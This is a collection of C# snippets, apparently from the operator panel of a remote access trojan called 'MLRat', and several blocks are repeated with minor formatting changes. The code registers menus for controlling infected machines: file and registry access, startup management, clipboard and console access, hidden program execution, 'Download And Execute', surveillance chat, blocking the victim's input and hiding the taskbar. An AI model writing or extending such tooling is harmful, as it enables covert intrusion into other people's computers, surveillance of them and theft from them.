public FileExplorerForm(IServerUIHandler UIHandler, IClient c) { Client = c; UIHost = UIHandler; InitializeComponent(); Image uiFolder = UIHandler.GetImage("folder.png"); Image uiFolder2 = UIHandler.GetImage("folder2.png"); Image uiFile = UIHandler.GetImage("file.png"); Image uiDrive = UIHandler.GetImage("drive.png"); Image uiError = UIHandler.GetImage("error.png"); if(uiFolder != null) images.Images.Add("Folder", uiFolder); if (uiFolder2 != null) images.Images.Add("Folder2", uiFolder2); if (uiFile!=null) images.Images.Add("File", uiFile); if(uiDrive!=null) images.Images.Add("Drive", uiDrive); if(uiError != null) images.Images.Add("Error", uiError); lvFileView.SmallImageList = images; lvFileBucket.SmallImageList = images; c.Send((byte)NetworkCommand.FileManager, (byte)FileManagerCommand.Update, string.Empty); }
public TaskManagerForm(IClient c, IServerUIHandler ui) { InitializeComponent(); Client = c; Image standardProc = ui.GetImage("service.png"); Image thisProc = ui.GetImage("bug.png"); Image appImage = ui.GetImage("application.png"); if (standardProc != null) { images.Images.Add("background", standardProc); if (thisProc != null) { images.Images.Add("me", thisProc); } else { images.Images.Add("me", standardProc); } if (appImage != null) { images.Images.Add("app", appImage); } else { images.Images.Add("app", standardProc); } lvProcessList.SmallImageList = images; } }
public void OnPluginLoad(IServerUIHandler UIHost) { MUIHost = UIHost; FileExplorerHandler.SetUIHost(UIHost); TaskManagerHandler.SetUIHost(UIHost); ConnectionsHandler.SetUIHost(UIHost); UIHost.Log("MLManagement loaded!", System.Drawing.Color.Green); PingHandler.Column = UIHost.AddColumn("Ping", "-"); MLRatContextEntry management = new MLRatContextEntry() { Text = "Management", Icon = "management.png" }; MLRatContextEntry network = new MLRatContextEntry() { Text = "Network", Icon = "network.png" }; management.SubMenus = new MLRatContextEntry[] { new MLRatContextEntry() { Text = "File Manager", OnClick = FileExplorerHandler.ContextCallback, Icon="folder_explore.png" }, new MLRatContextEntry() {Text = "Registry Edit", OnClick = RegistryEditorHandler.ContextCallback, Icon="registry.png" }, new MLRatContextEntry() {Text = "Startup Manager", OnClick = StartupManagerhandler.ContextCallback, Icon="system_time.png" }, new MLRatContextEntry() { Text = "Task Manager", OnClick = TaskManagerHandler.ContextCallback, Icon="list.png" }, new MLRatContextEntry() { Text = "Clipboard", OnClick = ClipboardHandler.ContextCallback, Icon="clipboard.png" }, new MLRatContextEntry() { Text = "Connections", OnClick = ConnectionsHandler.ContextCallback, Icon="connections.png" }, new MLRatContextEntry() { Text = "Console", OnClick = ConsoleHandler.ContextCallback, Icon="cmd.png" }, }; network.SubMenus = new MLRatContextEntry[] { new MLRatContextEntry(){Text = "Ping", OnClick = PingHandler.ContextCallback, Icon="Antena.png"}, new MLRatContextEntry(){Text = "Run", Icon="monitor-lightning.png", SubMenus = new MLRatContextEntry[] { new MLRatContextEntry() {Text = "Normal", OnClick = MiscHandler.ExecuteContextHandler, Icon = "application-blue-lightining.png" }, new MLRatContextEntry() {Text = "Hidden", OnClick = MiscHandler.ExecuteHiddenContextHandler, Icon = "application-green-lightining.png" }, } }, new MLRatContextEntry(){Text = "Download And Execute", OnClick = MiscHandler.DownloadAndExecuteContextHandler, Icon="globe.png"}, new MLRatContextEntry() { Text = "Client Executable", Icon="cog.png", SubMenus = new MLRatContextEntry[] { new MLRatContextEntry() { Text = "Disconnect Client", OnClick = MiscHandler.DisconnectHandler, Icon="disconnect.png" }, new MLRatContextEntry() { Text = "Restart Client", OnClick = MiscHandler.RestartContextHandler, Icon="restart.png" }, new MLRatContextEntry() { Text = "Close Client", OnClick = MiscHandler.CloseContextHandler, Icon="cross.png" } }}, }; UIHost.AddContext(network, management); }
public void OnPluginLoad(IServerUIHandler UIHost) { MLRatContextEntry surv = new MLRatContextEntry(); surv.Text = "Surveillance"; surv.Icon = "camera.png"; surv.SubMenus = new MLRatContextEntry[] { //new MLRatContextEntry(){ Text = "Remote Desktop", OnClick = RemoteDesktopHandler.ContextCallback, Icon="desktop.png" }, new MLRatContextEntry() { Text = "Remote Chat", OnClick = RemoteChatHandler.ContextCallback, Icon="chat.png" } }; UIHost.AddContext(surv); }
public void OnPluginLoad(IServerUIHandler UIHost) { MLRatContextEntry miscContext = new MLRatContextEntry() { Text = "Misc", Icon = "misc.png" }; miscContext.SubMenus = new MLRatContextEntry[] { new MLRatContextEntry() { Text = "Text to speech", Icon = "comment_edit.png", OnClick = MiscHandler.TextToSpeechContextCallback }, new MLRatContextEntry() { Text = "Computer Power", Icon = "power_surge.png", OnClick = MiscHandler.ComputerPowerContextCallback }, new MLRatContextEntry() { Text = "Input", Icon = "lock_edit.png", SubMenus = new MLRatContextEntry[] { new MLRatContextEntry() { Text = "Block Input", Icon = "lock.png", OnClick = MiscHandler.BlockInputContextCallback }, new MLRatContextEntry() { Text = "Allow Input", Icon = "lock_break.png", OnClick = MiscHandler.AllowInputContextCallback } } }, new MLRatContextEntry() { Text = "Taskbar", Icon = "controlbar.png", SubMenus = new MLRatContextEntry[] { new MLRatContextEntry() { Text = "Show", Icon = "show_detail.png", OnClick = MiscHandler.ShowTaskbarContextCallback }, new MLRatContextEntry() { Text = "Hide", Icon = "hide_detail.png", OnClick = MiscHandler.HideTaskbarContextCallback } } } }; UIHost.AddContext(miscContext); }
public void OnPluginLoad(IServerUIHandler UIHost) { MLRatContextEntry surv = new MLRatContextEntry(); surv.Text = "Surveillance"; surv.Icon = "camera.png"; surv.SubMenus = new MLRatContextEntry[] { //new MLRatContextEntry(){ Text = "Remote Desktop", OnClick = RemoteDesktopHandler.ContextCallback, Icon="desktop.png" }, new MLRatContextEntry() { Text = "Remote Chat", OnClick = RemoteChatHandler.ContextCallback, Icon = "chat.png" } }; UIHost.AddContext(surv); }
public void OnPluginLoad(IServerUIHandler UIHost) { MLRatContextEntry miscContext = new MLRatContextEntry() {Text = "Misc", Icon = "misc.png" }; miscContext.SubMenus = new MLRatContextEntry[] { new MLRatContextEntry() {Text="Text to speech", Icon = "comment_edit.png", OnClick = MiscHandler.TextToSpeechContextCallback }, new MLRatContextEntry() {Text="Computer Power", Icon = "power_surge.png", OnClick = MiscHandler.ComputerPowerContextCallback }, new MLRatContextEntry() { Text = "Input", Icon="lock_edit.png", SubMenus=new MLRatContextEntry[] { new MLRatContextEntry() {Text = "Block Input", Icon = "lock.png" , OnClick = MiscHandler.BlockInputContextCallback}, new MLRatContextEntry() {Text = "Allow Input", Icon = "lock_break.png", OnClick = MiscHandler.AllowInputContextCallback } } }, new MLRatContextEntry() {Text = "Taskbar", Icon = "controlbar.png", SubMenus = new MLRatContextEntry[] { new MLRatContextEntry() {Text="Show", Icon = "show_detail.png", OnClick = MiscHandler.ShowTaskbarContextCallback }, new MLRatContextEntry() {Text="Hide", Icon = "hide_detail.png", OnClick = MiscHandler.HideTaskbarContextCallback } } } }; UIHost.AddContext(miscContext); }
public FileExplorerForm(IServerUIHandler UIHandler, IClient c) { Client = c; UIHost = UIHandler; InitializeComponent(); Image uiFolder = UIHandler.GetImage("folder.png"); Image uiFolder2 = UIHandler.GetImage("folder2.png"); Image uiFile = UIHandler.GetImage("file.png"); Image uiDrive = UIHandler.GetImage("drive.png"); Image uiError = UIHandler.GetImage("error.png"); if (uiFolder != null) { images.Images.Add("Folder", uiFolder); } if (uiFolder2 != null) { images.Images.Add("Folder2", uiFolder2); } if (uiFile != null) { images.Images.Add("File", uiFile); } if (uiDrive != null) { images.Images.Add("Drive", uiDrive); } if (uiError != null) { images.Images.Add("Error", uiError); } lvFileView.SmallImageList = images; lvFileBucket.SmallImageList = images; c.Send((byte)NetworkCommand.FileManager, (byte)FileManagerCommand.Update, string.Empty); }
public TaskManagerForm(IClient c, IServerUIHandler ui) { InitializeComponent(); Client = c; Image standardProc = ui.GetImage("service.png"); Image thisProc = ui.GetImage("bug.png"); Image appImage = ui.GetImage("application.png"); if(standardProc != null) { images.Images.Add("background", standardProc); if(thisProc != null) images.Images.Add("me", thisProc); else images.Images.Add("me", standardProc); if(appImage != null) images.Images.Add("app", appImage); else images.Images.Add("app", standardProc); lvProcessList.SmallImageList = images; } }
public void OnPluginLoad(IServerUIHandler UIHost) { MUIHost = UIHost; FileExplorerHandler.SetUIHost(UIHost); TaskManagerHandler.SetUIHost(UIHost); ConnectionsHandler.SetUIHost(UIHost); UIHost.Log("MLManagement loaded!", System.Drawing.Color.Green); PingHandler.Column = UIHost.AddColumn("Ping", "-"); MLRatContextEntry management = new MLRatContextEntry() { Text = "Management", Icon = "management.png" }; MLRatContextEntry network = new MLRatContextEntry() { Text = "Network", Icon = "network.png" }; management.SubMenus = new MLRatContextEntry[] { new MLRatContextEntry() { Text = "File Manager", OnClick = FileExplorerHandler.ContextCallback, Icon = "folder_explore.png" }, new MLRatContextEntry() { Text = "Registry Edit", OnClick = RegistryEditorHandler.ContextCallback, Icon = "registry.png" }, new MLRatContextEntry() { Text = "Startup Manager", OnClick = StartupManagerhandler.ContextCallback, Icon = "system_time.png" }, new MLRatContextEntry() { Text = "Task Manager", OnClick = TaskManagerHandler.ContextCallback, Icon = "list.png" }, new MLRatContextEntry() { Text = "Clipboard", OnClick = ClipboardHandler.ContextCallback, Icon = "clipboard.png" }, new MLRatContextEntry() { Text = "Connections", OnClick = ConnectionsHandler.ContextCallback, Icon = "connections.png" }, new MLRatContextEntry() { Text = "Console", OnClick = ConsoleHandler.ContextCallback, Icon = "cmd.png" }, }; network.SubMenus = new MLRatContextEntry[] { new MLRatContextEntry() { Text = "Ping", OnClick = PingHandler.ContextCallback, Icon = "Antena.png" }, new MLRatContextEntry() { Text = "Run", Icon = "monitor-lightning.png", SubMenus = new MLRatContextEntry[] { new MLRatContextEntry() { Text = "Normal", OnClick = MiscHandler.ExecuteContextHandler, Icon = "application-blue-lightining.png" }, new MLRatContextEntry() { Text = "Hidden", OnClick = MiscHandler.ExecuteHiddenContextHandler, Icon = "application-green-lightining.png" }, } }, new MLRatContextEntry() { Text = "Download And Execute", OnClick = MiscHandler.DownloadAndExecuteContextHandler, Icon = "globe.png" }, new MLRatContextEntry() { Text = "Client Executable", Icon = "cog.png", SubMenus = new MLRatContextEntry[] { new MLRatContextEntry() { Text = "Disconnect Client", OnClick = MiscHandler.DisconnectHandler, Icon = "disconnect.png" }, new MLRatContextEntry() { Text = "Restart Client", OnClick = MiscHandler.RestartContextHandler, Icon = "restart.png" }, new MLRatContextEntry() { Text = "Close Client", OnClick = MiscHandler.CloseContextHandler, Icon = "cross.png" } } }, }; UIHost.AddContext(network, management); }
public static void SetUIHost(IServerUIHandler _host) { UIHost = _host; }
public static void SetUIHost(IServerUIHandler h) { UIHost = h; }
public static void SetUIHost(IServerUIHandler handler) { UIHost = handler; }